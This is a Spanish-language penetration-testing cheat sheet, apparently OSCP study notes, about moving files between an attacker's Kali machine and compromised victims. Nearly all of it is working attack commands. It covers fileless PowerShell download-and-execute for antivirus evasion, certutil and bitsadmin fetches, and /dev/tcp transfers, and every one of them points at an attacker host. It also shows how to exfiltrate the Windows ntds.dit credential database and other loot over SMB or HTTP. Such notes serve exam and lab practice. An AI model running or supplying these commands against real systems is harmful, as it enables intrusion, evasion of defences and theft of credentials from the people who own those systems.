# Transferencia de ficheros > **Subes** tools a la víctima y **exfiltras** loot. Montado en el Puesto de mando Kali. Matriz completa: oscp.trastero.org/filetransfer. ## Servidores en tu Kali ```bash python3 -m http.server 7788 # HTTP impacket-smbserver -smb2support SERVER $(pwd) # SMB (anónimo) impacket-smbserver -username u -password p -smb2support SERVER $(pwd) # SMB con auth python3 -m pyftpdlib --user=u --password=p -w -p 21 # FTP php -S 0.0.0.0:7788 # PHP ``` ## Descargar EN la víctima Windows ```powershell (New-Object Net.WebClient).DownloadFile('http://TU_IP/f.exe','C:\Windows\Temp\f.exe') Invoke-WebRequest http://TU_IP/f.exe -OutFile f.exe # iwr IEX (New-Object Net.WebClient).DownloadString('http://TU_IP/x.ps1') # fileless → AV evasion bitsadmin /transfer job http://TU_IP/f.exe C:\Temp\f.exe certutil.exe -urlcache -split -f "http://TU_IP/f.exe" f.exe # LOLBin clásico tftp -i TU_IP get f.exe # (DISM /online /Enable-Feature /FeatureName:TFTP) ``` ```cmd net use x: \\TU_IP\SERVER /user:u p & copy x:\f.exe . # vía SMB ``` ## Descargar EN la víctima Linux ```bash wget http://TU_IP/f -O f ; curl -o f http://TU_IP/f php -r '$f=file_get_contents("http://TU_IP/f");file_put_contents("f",$f);' python3 -c "import urllib.request;urllib.request.urlretrieve('http://TU_IP/f','f')" cat < /dev/tcp/TU_IP/7788 > f # con nc -lvnp 7788 < f en Kali ``` ## Exfiltrar de la víctima → Kali ```cmd copy C:\Windows\NTDS\ntds.dit \\TU_IP\SERVER\ :: SMB (cifra, cruza firewalls) → secretsdump (New-Object Net.WebClient).UploadFile('http://TU_IP/up.php','loot.zip') ``` ```bash scp loot.tar user@TU_IP:/tmp/ # si hay SSH ``` ## Sin red: copy-paste por base64 ```bash base64 -w0 f.bin # en origen, copias el string echo "BASE64..." | base64 -d > f.bin # en destino, pegas # Windows: certutil -encode f.bin b64.txt / certutil -decode b64.txt f.bin ``` Útil cuando solo tienes una shell de texto (Estabilizar shell TTY) o vía RDP `/clipboard`. ## Cifrado (canal vigilado) ```bash openssl enc -base64 -in f -out f.b64 # ofuscar openssl s_server -quiet -accept 7788 -cert c.pem -key k.pem < f # transferencia TLS ``` Relacionado: Egress filtering · Tunneling · Herramientas (índice) · OSCP MOC